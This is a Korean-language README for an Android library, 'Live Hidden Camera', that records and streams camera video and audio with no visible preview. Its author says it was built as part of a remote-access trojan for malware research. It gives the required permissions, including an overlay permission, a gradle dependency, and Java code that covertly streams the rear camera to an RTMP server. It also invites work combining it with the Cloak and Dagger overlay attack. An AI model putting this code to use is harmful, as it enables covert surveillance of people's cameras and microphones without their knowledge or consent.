
Live Hidden Camera는 미리보기를 표시하지 않고 Android 기기에서 라이브 비디오 및 오디오를 녹화하는 라이브러리입니다.
라이브 히든 카메라(이하 LHC)는 Android 기기에서 미리보기 없이 라이브 비디오와 오디오를 녹화하는 라이브러리입니다.

저는 연구 기반의 Android 악성코드 작업을 하고 있으며, 다기능 RAT(Remote Administration Tool)을 만들기로 결정했습니다. 라이브 스트리밍 작업 중에 RTMP 기반의 오픈소스 프로젝트들을 발견했습니다. 여기에는 다음이 포함됩니다:
이들 모두 RAT의 요구 사항에 비추어 볼 때 어떤 종류의 문제점을 가지고 있었습니다. 그러나 공통적인 문제는 모두 SurfaceView를 포함하는 액티비티가 필요하다는 것이었습니다.
따라서 검색을 시작했습니다. 마침내 다음 두 프로젝트를 결합하여 라이브 비디오 스트리밍에 CONTEXT만 필요한 Live Hidden Camera를 만들 수 있었습니다:
더 쉽게 사용할 수 있도록 라이브러리를 제작했습니다. 필요한 것은 프로젝트에 라이브러리를 추가하고 RTMP URL을 전달하는 것뿐입니다.
또한 다음 사항을 주의해야 합니다:
Manifest.xml에 다음 권한이 있어야 합니다:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
라이브러리 사용법은 간단합니다. 프로젝트의 gradle.build 파일에 다음 라이브러리를 추가하기만 하면 됩니다.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest에서 주석 처리되었습니다.라이브러리를 사용하기 전에 RTMP 서버를 배포해야 합니다. 저는 Ant Media Server를 사용했습니다. Ant Media Server 설치에 대한 좋은 가이드가 이 링크에 있습니다.
Ant Media RTMP 서버를 시작하면 다음과 같은 화면이 표시됩니다:

라이브러리를 프로젝트에 추가한 후 다음 단계를 수행하세요:
다음을 구현하는 클래스를 만드세요: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
두 개의 필드(하나는 퍼블리시용, 하나는 프리뷰용)를 만드세요:
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Live Hidden Camera를 시작하는 함수를 구현하세요:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
제가 현재 직면한 주요 문제는 녹색 화면입니다. StackOverflow의 다음 링크에서 오류를 설명했습니다: https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
이 문제에 대한 제안이나 다른 아이디어가 있으시면 언제든지 연락해 주세요.
Live Hidden Camera의 오버레이 때문에 다른 앱을 클릭할 수 없습니다. 클릭은 LHC에서만 수락됩니다. TODO 섹션을 확인하세요.
Cloak and Dagger라는 프로젝트가 Android의 매우 위험한 기능을 밝혀냈습니다. LHC에서 Cloak and Dagger를 사용하는 데 기여해 주시면 환영합니다.
여기에서 Cloak and Dagger를 확인하세요:
다음 비트코인 주소로 이 프로젝트를 후원할 수 있습니다:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
제 웹사이트에서 연락하실 수 있습니다: https://mstajbakhsh.ir/